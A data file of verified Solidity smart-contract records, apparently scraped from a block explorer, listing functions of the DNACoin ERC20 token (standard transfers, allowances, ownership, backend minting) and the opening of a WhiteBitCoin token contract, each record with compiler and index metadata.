DNACoin | DNACoin.sol | 0x268f39ebb4868a09fa654d4ffe1ab024bc937db2 | Solidity | StandardToken | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
} | /**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/ | NatSpecMultiLine | transferFrom | function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
| /**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/ | NatSpecMultiLine | v0.4.21+commit.dfe3193c | bzzr://01b1f801d00088e8bbce80ab3d3b70b341f5d07048a35eaeddb69e2c73a6b86a | {
"func_code_index": [
401,
853
]
} | 547 |
|
DNACoin | DNACoin.sol | 0x268f39ebb4868a09fa654d4ffe1ab024bc937db2 | Solidity | StandardToken | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
} | /**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/ | NatSpecMultiLine | approve | function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
| /**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/ | NatSpecMultiLine | v0.4.21+commit.dfe3193c | bzzr://01b1f801d00088e8bbce80ab3d3b70b341f5d07048a35eaeddb69e2c73a6b86a | {
"func_code_index": [
1485,
1675
]
} | 548 |
|
DNACoin | DNACoin.sol | 0x268f39ebb4868a09fa654d4ffe1ab024bc937db2 | Solidity | StandardToken | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
} | /**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/ | NatSpecMultiLine | allowance | function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
| /**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/ | NatSpecMultiLine | v0.4.21+commit.dfe3193c | bzzr://01b1f801d00088e8bbce80ab3d3b70b341f5d07048a35eaeddb69e2c73a6b86a | {
"func_code_index": [
1999,
2130
]
} | 549 |
|
DNACoin | DNACoin.sol | 0x268f39ebb4868a09fa654d4ffe1ab024bc937db2 | Solidity | StandardToken | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
} | /**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/ | NatSpecMultiLine | increaseApproval | function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
| /**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/ | NatSpecMultiLine | v0.4.21+commit.dfe3193c | bzzr://01b1f801d00088e8bbce80ab3d3b70b341f5d07048a35eaeddb69e2c73a6b86a | {
"func_code_index": [
2596,
2860
]
} | 550 |
|
DNACoin | DNACoin.sol | 0x268f39ebb4868a09fa654d4ffe1ab024bc937db2 | Solidity | StandardToken | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
} | /**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/ | NatSpecMultiLine | decreaseApproval | function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
| /**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/ | NatSpecMultiLine | v0.4.21+commit.dfe3193c | bzzr://01b1f801d00088e8bbce80ab3d3b70b341f5d07048a35eaeddb69e2c73a6b86a | {
"func_code_index": [
3331,
3741
]
} | 551 |
|
DNACoin | DNACoin.sol | 0x268f39ebb4868a09fa654d4ffe1ab024bc937db2 | Solidity | Ownable | contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
} | /**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/ | NatSpecMultiLine | Ownable | function Ownable() public {
owner = msg.sender;
}
| /**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/ | NatSpecMultiLine | v0.4.21+commit.dfe3193c | bzzr://01b1f801d00088e8bbce80ab3d3b70b341f5d07048a35eaeddb69e2c73a6b86a | {
"func_code_index": [
261,
321
]
} | 552 |
|
DNACoin | DNACoin.sol | 0x268f39ebb4868a09fa654d4ffe1ab024bc937db2 | Solidity | Ownable | contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
} | /**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/ | NatSpecMultiLine | transferOwnership | function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
| /**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/ | NatSpecMultiLine | v0.4.21+commit.dfe3193c | bzzr://01b1f801d00088e8bbce80ab3d3b70b341f5d07048a35eaeddb69e2c73a6b86a | {
"func_code_index": [
640,
816
]
} | 553 |
|
DNACoin | DNACoin.sol | 0x268f39ebb4868a09fa654d4ffe1ab024bc937db2 | Solidity | DNACoin | contract DNACoin is StandardToken, Ownable {
string public constant name = "DNA Coin";
string public constant symbol = "DNA";
uint256 public constant decimals = 18;
uint256 public constant UNIT = 10 ** decimals;
address public companyWallet;
address public backendWallet;
uint256 public maxSupply = 1000000 * UNIT;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
modifier onlyBackend() {
require(msg.sender == backendWallet);
_;
}
function DNACoin(address _companyWallet, address _backendWallet) public {
companyWallet = _companyWallet;
backendWallet = _backendWallet;
balances[companyWallet] = 500000 * UNIT;
totalSupply_ = totalSupply_.add(500000 * UNIT);
Transfer(address(0x0), _companyWallet, 500000 * UNIT);
}
/**
* Change the backendWallet that is allowed to issue new tokens (used by server side)
* Or completely disabled backend unrevokable for all eternity by setting it to 0x0. Should be done after token sale completed.
*/
function setBackendWallet(address _backendWallet) public onlyOwner {
if (backendWallet != address(0)) {
backendWallet = _backendWallet;
}
}
function() public payable {
revert();
}
/***
* This function is used to transfer tokens that have been bought through other means (credit card, bitcoin, etc), and to burn tokens after the sale.
*/
function mint(address receiver, uint256 tokens) public onlyBackend {
require(totalSupply_ + tokens <= maxSupply);
balances[receiver] += tokens;
totalSupply_ += tokens;
Transfer(address(0x0), receiver, tokens);
}
function sendBonus(address receiver, uint256 bonus) public onlyBackend {
Transfer(companyWallet, receiver, bonus);
balances[companyWallet] = balances[companyWallet].sub(bonus);
balances[receiver] = balances[receiver].add(bonus);
}
} | setBackendWallet | function setBackendWallet(address _backendWallet) public onlyOwner {
if (backendWallet != address(0)) {
backendWallet = _backendWallet;
}
}
| /**
* Change the backendWallet that is allowed to issue new tokens (used by server side)
* Or completely disabled backend unrevokable for all eternity by setting it to 0x0. Should be done after token sale completed.
*/ | NatSpecMultiLine | v0.4.21+commit.dfe3193c | bzzr://01b1f801d00088e8bbce80ab3d3b70b341f5d07048a35eaeddb69e2c73a6b86a | {
"func_code_index": [
1332,
1494
]
} | 554 |
|||
DNACoin | DNACoin.sol | 0x268f39ebb4868a09fa654d4ffe1ab024bc937db2 | Solidity | DNACoin | contract DNACoin is StandardToken, Ownable {
string public constant name = "DNA Coin";
string public constant symbol = "DNA";
uint256 public constant decimals = 18;
uint256 public constant UNIT = 10 ** decimals;
address public companyWallet;
address public backendWallet;
uint256 public maxSupply = 1000000 * UNIT;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
modifier onlyBackend() {
require(msg.sender == backendWallet);
_;
}
function DNACoin(address _companyWallet, address _backendWallet) public {
companyWallet = _companyWallet;
backendWallet = _backendWallet;
balances[companyWallet] = 500000 * UNIT;
totalSupply_ = totalSupply_.add(500000 * UNIT);
Transfer(address(0x0), _companyWallet, 500000 * UNIT);
}
/**
* Change the backendWallet that is allowed to issue new tokens (used by server side)
* Or completely disabled backend unrevokable for all eternity by setting it to 0x0. Should be done after token sale completed.
*/
function setBackendWallet(address _backendWallet) public onlyOwner {
if (backendWallet != address(0)) {
backendWallet = _backendWallet;
}
}
function() public payable {
revert();
}
/***
* This function is used to transfer tokens that have been bought through other means (credit card, bitcoin, etc), and to burn tokens after the sale.
*/
function mint(address receiver, uint256 tokens) public onlyBackend {
require(totalSupply_ + tokens <= maxSupply);
balances[receiver] += tokens;
totalSupply_ += tokens;
Transfer(address(0x0), receiver, tokens);
}
function sendBonus(address receiver, uint256 bonus) public onlyBackend {
Transfer(companyWallet, receiver, bonus);
balances[companyWallet] = balances[companyWallet].sub(bonus);
balances[receiver] = balances[receiver].add(bonus);
}
} | mint | function mint(address receiver, uint256 tokens) public onlyBackend {
require(totalSupply_ + tokens <= maxSupply);
balances[receiver] += tokens;
totalSupply_ += tokens;
Transfer(address(0x0), receiver, tokens);
}
| /***
* This function is used to transfer tokens that have been bought through other means (credit card, bitcoin, etc), and to burn tokens after the sale.
*/ | NatSpecMultiLine | v0.4.21+commit.dfe3193c | bzzr://01b1f801d00088e8bbce80ab3d3b70b341f5d07048a35eaeddb69e2c73a6b86a | {
"func_code_index": [
1718,
1955
]
} | 555 |
|||
WhiteBitCoin | WhiteBitCoin.sol | 0x77918dddab31bb1f19878f71f91a159516dcbf97 | Solidity | WhiteBitCoin | contract WhiteBitCoin {
using SafeMath for uint256;
string constant public name = "WhiteBit Coin";
string constant public symbol = "WHBC";
uint8 constant public decimals = 18;
address payable public owner;
uint256 public totalSupply = 180e6*uint256(10)**decimals;
/* This creates an array with all balances */
mapping (address => uint256) public balanceOf;
mapping (address => uint256) public freezeOf;
mapping (address => mapping (address => uint256)) public allowance;
/* This generates a public event on the blockchain that will notify clients */
event Transfer(address indexed from, address indexed to, uint256 value);
/* This notifies clients about the amount burnt */
event Burn(address indexed from, uint256 value);
/* This notifies clients about the amount frozen */
event Freeze(address indexed from, uint256 value);
/* This notifies clients about the amount unfrozen */
event Unfreeze(address indexed from, uint256 value);
/* Approval events, allowing applications to reconstruct the allowance status for all
accounts just by listening to said events */
event Approval(address indexed owner, address indexed spender, uint256 value);
/* Initializes contract with initial supply tokens to the creator of the contract */
constructor(address payable _owner) public {
owner = _owner;
balanceOf[owner] = totalSupply; // Give the creator all initial tokens
}
/* Send coins */
function transfer(address _to, uint256 _value) public returns (bool success){
require (_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead
require (_value >= 0);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient
emit Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place
return true;
}
/* Allow another contract to spend some tokens in your behalf */
function approve(address _spender, uint256 _value) public returns (bool success) {
require (_value >= 0); //Approval of 0 is revoking approval. So allow 0 here
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/* A contract attempts to get the coins */
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require (_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead
require (_value >= 0);
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function burn(uint256 _value) public returns (bool success) {
require (_value >= 0);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender
totalSupply = totalSupply.sub(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
function freeze(uint256 _value) public returns (bool success) {
require (_value >= 0);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender
freezeOf[msg.sender] = freezeOf[msg.sender].add(_value); // Updates totalSupply
emit Freeze(msg.sender, _value);
return true;
}
function unfreeze(uint256 _value) public returns (bool success) {
require (_value >= 0);
freezeOf[msg.sender] = freezeOf[msg.sender].sub(_value); // Subtract from the sender
balanceOf[msg.sender] = balanceOf[msg.sender].add(_value);
emit Unfreeze(msg.sender, _value);
return true;
}
// transfer balance to owner
function withdrawEther(uint256 amount) public {
require(msg.sender == owner);
owner.transfer(amount);
}
// can accept ether
function() external payable {
}
} | transfer | function transfer(address _to, uint256 _value) public returns (bool success){
require (_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead
require (_value >= 0);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient
emit Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place
return true;
}
| /* Send coins */ | Comment | v0.5.6+commit.b259423e | bzzr://a5137b3de058d62d1ed376f2d793ce5440fc1d7037df5cedb510801a3c7161d0 | {
"func_code_index": [
1562,
2184
]
} | 556 |
|||
WhiteBitCoin | WhiteBitCoin.sol | 0x77918dddab31bb1f19878f71f91a159516dcbf97 | Solidity | WhiteBitCoin | contract WhiteBitCoin {
using SafeMath for uint256;
string constant public name = "WhiteBit Coin";
string constant public symbol = "WHBC";
uint8 constant public decimals = 18;
address payable public owner;
uint256 public totalSupply = 180e6*uint256(10)**decimals;
/* This creates an array with all balances */
mapping (address => uint256) public balanceOf;
mapping (address => uint256) public freezeOf;
mapping (address => mapping (address => uint256)) public allowance;
/* This generates a public event on the blockchain that will notify clients */
event Transfer(address indexed from, address indexed to, uint256 value);
/* This notifies clients about the amount burnt */
event Burn(address indexed from, uint256 value);
/* This notifies clients about the amount frozen */
event Freeze(address indexed from, uint256 value);
/* This notifies clients about the amount unfrozen */
event Unfreeze(address indexed from, uint256 value);
/* Approval events, allowing applications to reconstruct the allowance status for all
accounts just by listening to said events */
event Approval(address indexed owner, address indexed spender, uint256 value);
/* Initializes contract with initial supply tokens to the creator of the contract */
constructor(address payable _owner) public {
